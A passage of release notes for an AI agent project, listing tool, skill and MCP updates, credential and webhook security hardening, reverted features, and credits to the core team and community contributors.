<li><strong>Stacked slash-skill invocations</strong> — <code>/skill-a /skill-b do XYZ</code> loads both skills in order (Claude Code port), with autocomplete + ghost text (<a href="https://github.com/NousResearch/hermes-agent/pull/57987" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57987/hovercard">#57987</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58763" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58763/hovercard">#58763</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><code>--safe-mode</code> troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; <code>/compact</code> alias + preview flags; pip/Homebrew installs warned unsupported (<a href="https://github.com/NousResearch/hermes-agent/pull/45300" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45300/hovercard">#45300</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60111" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60111/hovercard">#60111</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57992" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57992/hovercard">#57992</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57029" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57029/hovercard">#57029</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57225/hovercard">#57225</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (<a href="https://github.com/NousResearch/hermes-agent/pull/59782" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59782/hovercard">#59782</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62859/hovercard">#62859</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40624" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40624/hovercard">#40624</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Hermes Console REPL + perf follow-ups; <code>hermes curator usage</code> all-skills view; entry-point plugins surfaced in <code>hermes plugins list</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/57781" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57781/hovercard">#57781</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/36727" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36727/hovercard">#36727</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40623" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40623/hovercard">#40623</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔧 Tool System, Skills &amp; MCP</h2>
<ul>
<li>MCP: <code>mcp__server__tool</code> naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable <code>redirect_uri</code>/<code>redirect_host</code> for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (<a href="https://github.com/NousResearch/hermes-agent/pull/52750" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52750/hovercard">#52750</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57416" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57416/hovercard">#57416</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66151" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66151/hovercard">#66151</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65610" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65610/hovercard">#65610</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65622" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65622/hovercard">#65622</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64463" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64463/hovercard">#64463</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li>Skills: <code>security/unbroker</code> (autonomous data-broker removal) + blind opt-out hardening; <code>unreal-mcp</code> companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; <code>mcp-oauth-remote-gateway</code> optional skill (<a href="https://github.com/NousResearch/hermes-agent/pull/57438" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57438/hovercard">#57438</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57902" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57902/hovercard">#57902</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65989" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65989/hovercard">#65989</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64715" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64715/hovercard">#64715</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65066" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65066/hovercard">#65066</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65486" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65486/hovercard">#65486</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (<a href="https://github.com/NousResearch/hermes-agent/pull/65923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65923/hovercard">#65923</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67123" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67123/hovercard">#67123</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (<a href="https://github.com/NousResearch/hermes-agent/pull/66333" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66333/hovercard">#66333</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63638" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63638/hovercard">#63638</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60226/hovercard">#60226</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65698" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65698/hovercard">#65698</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63249" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63249/hovercard">#63249</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (<a href="https://github.com/NousResearch/hermes-agent/pull/61791" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61791/hovercard">#61791</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62014" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62014/hovercard">#62014</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59567" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59567/hovercard">#59567</a>)</li>
<li>mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (<a href="https://github.com/NousResearch/hermes-agent/pull/56943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56943/hovercard">#56943</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60494/hovercard">#60494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (<a href="https://github.com/NousResearch/hermes-agent/pull/57017" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57017/hovercard">#57017</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63627" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63627/hovercard">#63627</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52220" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52220/hovercard">#52220</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🔒 Security &amp; Reliability</h2>
<ul>
<li>Vertex: credential/project/region resolution through the profile secret scope; <code>VERTEX_CREDENTIALS_PATH</code>/<code>GOOGLE_APPLICATION_CREDENTIALS</code> stripped from subprocess env (<a href="https://github.com/NousResearch/hermes-agent/pull/56680" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56680/hovercard">#56680</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>)</li>
<li>Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (<a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58752" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58752/hovercard">#58752</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57890" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57890/hovercard">#57890</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Webhook body-cap sweep: explicit <code>client_max_size</code> on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (<a href="https://github.com/NousResearch/hermes-agent/pull/59180" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59180/hovercard">#59180</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58902" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58902/hovercard">#58902</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58508" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58508/hovercard">#58508</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>)</li>
<li>Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (<a href="https://github.com/NousResearch/hermes-agent/pull/58501" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58501/hovercard">#58501</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58534" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58534/hovercard">#58534</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58915" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58915/hovercard">#58915</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58893" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58893/hovercard">#58893</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>computer-use: subprocess env sanitized across all five cua-driver spawn sites (<a href="https://github.com/NousResearch/hermes-agent/pull/58889" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58889/hovercard">#58889</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59165" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59165/hovercard">#59165</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (<a href="https://github.com/NousResearch/hermes-agent/pull/58222" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58222/hovercard">#58222</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60236/hovercard">#60236</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49435" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49435/hovercard">#49435</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>)</li>
<li>CI: untrusted refs passed through env, not <code>run:</code> interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (<a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60707" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60707/hovercard">#60707</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65186/hovercard">#65186</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (<a href="https://github.com/NousResearch/hermes-agent/pull/59149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59149/hovercard">#59149</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64651" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64651/hovercard">#64651</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66040" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66040/hovercard">#66040</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>)</li>
<li>Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (<a href="https://github.com/NousResearch/hermes-agent/pull/67238" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67238/hovercard">#67238</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59339" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59339/hovercard">#59339</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58178" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58178/hovercard">#58178</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; <code>/new</code> memory extraction moved off the command path (<a href="https://github.com/NousResearch/hermes-agent/pull/58350" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58350/hovercard">#58350</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64379" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64379/hovercard">#64379</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61139" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61139/hovercard">#61139</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🔁 Reverted in this window (for the record)</h2>
<ul>
<li>iron-proxy credential-injection egress firewall (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499336733" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/30179" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30179/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/30179">#30179</a> → reverted in <a href="https://github.com/NousResearch/hermes-agent/pull/58489" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58489/hovercard">#58489</a>) — not shipping in this release</li>
<li>dynamic-workflow orchestration skill (landed, then reverted) — not shipping</li>
<li>memory provider-actions extension point (landed, then reverted) — not shipping</li>
<li>Note: the plugin <code>pre_tool_call</code> approve escalation was reverted mid-window but <strong>re-landed</strong> in <a href="https://github.com/NousResearch/hermes-agent/pull/60504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60504/hovercard">#60504</a> and ships in this release.</li>
</ul>
<h2>👥 Contributors</h2>
<p><strong>450+ people</strong> contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.</p>
<h3>Core team</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a> — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a> — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a> — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a> — terminal billing (<code>/subscription</code>, <code>/topup</code>), desktop billing tab</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a> — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a> — desktop custom endpoint settings</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a> — unbroker + unreal-mcp skills, humanizer expansion</li>
</ul>
<h3>Top community contributors</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a> — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HexLab98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HexLab98">@HexLab98</a> — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/UnathiCodex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/UnathiCodex">@UnathiCodex</a> — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a> — <code>&lt;think&gt;</code> leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a> — desktop declarative memory-provider panel + honcho recall/timeout correctness</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Frowtek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Frowtek">@Frowtek</a> — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a> — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidMetcalfe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidMetcalfe">@DavidMetcalfe</a> — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a> — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity</li>
